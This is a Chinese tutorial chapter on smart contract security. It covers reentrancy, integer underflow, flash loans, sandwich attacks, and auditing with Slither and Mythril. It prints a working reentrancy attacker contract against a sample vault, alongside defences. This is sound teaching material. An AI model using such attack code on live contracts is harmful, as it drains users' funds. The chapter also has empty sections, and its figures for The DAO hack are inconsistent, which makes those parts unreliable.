上一节介绍了 Solidity 进阶语法和事件日志机制。本节进入智能合约安全的核心实战部分——分析典型漏洞攻击模式（重入、整数溢出、闪电贷、抢跑），以及现代审计方法论与自动化分析工具（Slither、Mythril）。这些内容对任何编写或审计生产环境合约的开发者来说都是必修课。

12.3 典型漏洞与攻击模式

智能合约安全不仅仅是"修复已知漏洞模式"——它更多是关于理解经济博弈和 EVM 执行模型的边界。每一次重大黑客事件都暴露出未被充分理解的信任假设。

12.3.1 重入攻击（Reentrancy）

原理：目标合约在被调用者的 fallback / receive 函数完成之前，又通过 call 或 transfer 回调到目标合约——导致目标合约的余额更新滞后于提款操作。

历史事件：The DAO 攻击（2016）

• The DAO 是一个去中心化投资基金，募集了约 370 万 ETH（当时价值约 1.5 亿美元）。
• 攻击者利用重入漏洞反复提取 ETH，最终盗走约 370 万 ETH。
• 这直接导致了以太坊的"硬分叉"——社区分裂为 ETH 和 ETC（Ethereum Classic）。

漏洞合约示例：

// VULNERABLE — DO NOT USE
contract VulnerableVault {
    mapping(address => uint256) public balances;
    
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }
    
    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        // 危险：外部调用在状态更新之前
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;  // 状态更新太晚了！
    }
}

攻击合约：

contract Attacker {
    VulnerableVault public vault;
    
    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }
    
    // 攻击入口：先存 1 ETH，再提 1 ETH，触发递归
    function attack() external payable {
        vault.deposit{value: 1 ether}();
        vault.withdraw(1 ether);
    }
    
    // fallback 被 vault 的 call 触发
    receive() external payable {
        if (address(vault).balance >= 1 ether) {
            vault.withdraw(1 ether);  // 递归！此时 balances[this] 还未减少
        }
    }
}

攻击流程：

1. Attacker 调用 attack() → 存入 1 ETH，调用 withdraw(1 ETH)。
2. VulnerableVault.withdraw 检查 balances[attacker] >= 1 ETH ✅。
3. 执行 msg.sender.call{value: 1 ETH}("") → Attacker 的 receive() 被触发。
4. Attacker 的 receive() 再次调用 vault.withdraw(1 ETH)。
5. 回到步骤 2——此时 balances[attacker] 还是 1 ETH（尚未更新！）→ ✅。
6. 循环直到 address(vault).balance < 1 ETH。

防御：

• Checks-Effects-Interactions（CEI）模式：先检查条件 → 更新状态 → 最后才与外部交互。
• OpenZeppelin ReentrancyGuard：mutex 锁防止递归调用。
• 使用 transfer / send（Gas 限制 2300 阻止进一步状态操作，但 2023 年后不推荐使用——因为 Gas 定价变化导致 2300 可能不足以完成简单的转账）。

// SECURE — CEI 模式
function withdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    balances[msg.sender] -= amount;  // 先更新状态
    (bool success, ) = msg.sender.call{value: amount}("");  // 再交互
    require(success, "Transfer failed");
}

12.3.2 整数溢出/下溢

Solidity 0.8 以后的版本内置了溢出检查——溢出会自动 revert。但对使用了旧版本 Solidity 的合约，整数溢出/下溢仍然是严重威胁：

// Solidity 0.6 — VULNERABLE
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
    require(amount <= balances[from]);
    // 如果 allowed[from][msg.sender] < amount，下面这个减法会下溢！
    allowed[from][msg.sender] -= amount;
    balances[from] -= amount;
    balances[to] += amount;
    return true;
}

当 allowed[from][msg.sender] 为 0，amount 为 1 时，0 - 1 在 uint256 中等于 2^256 - 1——攻击者绕过 approval 限制。

防御：

• 使用 Solidity 0.8+（内置溢出保护）。
• 旧合约使用 OpenZeppelin SafeMath 库。

12.3.3 闪电贷攻击（Flash Loan Attack）

闪电贷（Flash Loan）允许用户在一笔交易中借出大量资产——无需抵押——前提是在同一笔交易结束前归还。这本身是一个创新，但被攻击者利用来链式操控链上价格。

典型攻击链：

1. 闪电贷借出大量代币 A（例：1 亿 USDC）。
2. 在 Uniswap V2 等 AMM 中大量卖出 A（买入代币 B），大幅拉高 A/B 价格比。
3. 目标协议（如 Compound/AAVE）使用该 AMM 的价格作为预言机——认为 A 大幅升值，允许以少量 B 作为抵押借出大量 A。
4. 攻击者提取目标协议中的 A。
5. 归还闪电贷 + 手续费，保留净收益。

代表的损失事件：Cream（~1.3 亿美元）、BZX（~800 万美元）、PancakeBunny（~4500 万美元）。

防御：使用去中心化预言机 + TWAP（时间加权平均价格）而非单一路径 AMM 瞬时价格。TWAP 将价格平滑化，使闪电贷的单笔交易难以大幅影响预言机输出。

12.3.4 抢跑（Front-running / Sandwich Attack）

Mempool 中的待处理交易是公开可见的，这为 MEV（矿工可提取价值）攻击创造了条件。三明治攻击（Sandwich Attack）是其中最典型的一种：

攻击流程：

1. 监控 mempool，识别大额 Uniswap 买入交易。
2. 攻击者立即提交一笔推高价格的交易（buy），并在目标交易之前被矿工打包（通过更高的 gas price）。
3. 目标用户的交易以被推高的价格执行——买入数量减少。
4. 攻击者在目标交易之后立即提交卖出交易（sell），从价差中获利。

防御方法：

12.3.5 其他常见漏洞

12.4 审计方法论与自动分析工具

12.4.1 审计流程

一份标准的智能合约审计通常包含 5 个阶段：

1. 文档与规范审查：理解合约的业务逻辑、状态模式和经济模型。
2. 自动化扫描：Slither 和 Mythril 扫描已知漏洞模式。
3. 手动逻辑审查：逐函数分析，关注状态变量变更顺序、外部调用、访问控制和边界条件。
4. 形式化验证（可选）：使用 Certora Prover 或 Solidity SMTChecker 验证关键约束。
5. 报告与修复确认：按严重程度分级的漏洞清单 + 修复建议 → 开发团队修复 → 重新审计确认。

12.4.2 Slither（静态分析）

pip install slither-analyzer
slither .

Slither 通过静态模式匹配检测已知漏洞模式——速度快（秒级），适合 CI/CD 集成的回归检查。可检测：

• 重入漏洞
• 未使用的变量/函数
• 危险函数使用（tx.origin、delegatecall、selfdestruct）
• 可见性错误
• 相关的 ERC 标准违规

12.4.3 Mythril（符号执行）

pip install mythril
myth analyze MyToken.sol --solc-json solc.json

Mythril 使用符号执行引擎，遍历合约所有可达的执行路径，探索异常状态——可检测到传统静态分析难以发现的边界情况。

12.4.4 为什么自动化工具无法替代人工审计

几乎所有严重 DeFi 黑客事件（Cream、BZX、Poly Network）的核心漏洞都不是 Slither 或 Mythril 能检测的模式化漏洞——它们是业务逻辑错误：经济模型的边界假设不成立、预言机使用不当、激励博弈设计错误等。

工具是必要的安全基线，但不是充分保障。

📌 要点总结：

1. 重入攻击是智能合约最经典的漏洞——CEI 模式和 ReentrancyGuard 是标准防御。
2. 闪电贷攻击的本质是"价格预言机操控"——TWAP 和去中心化预言机是根本防御。
3. Slither 和 Mythril 是必须使用的工具，但不能仅依赖它们。人工审计关注的是业务逻辑安全边界和经济博弈的信任假设。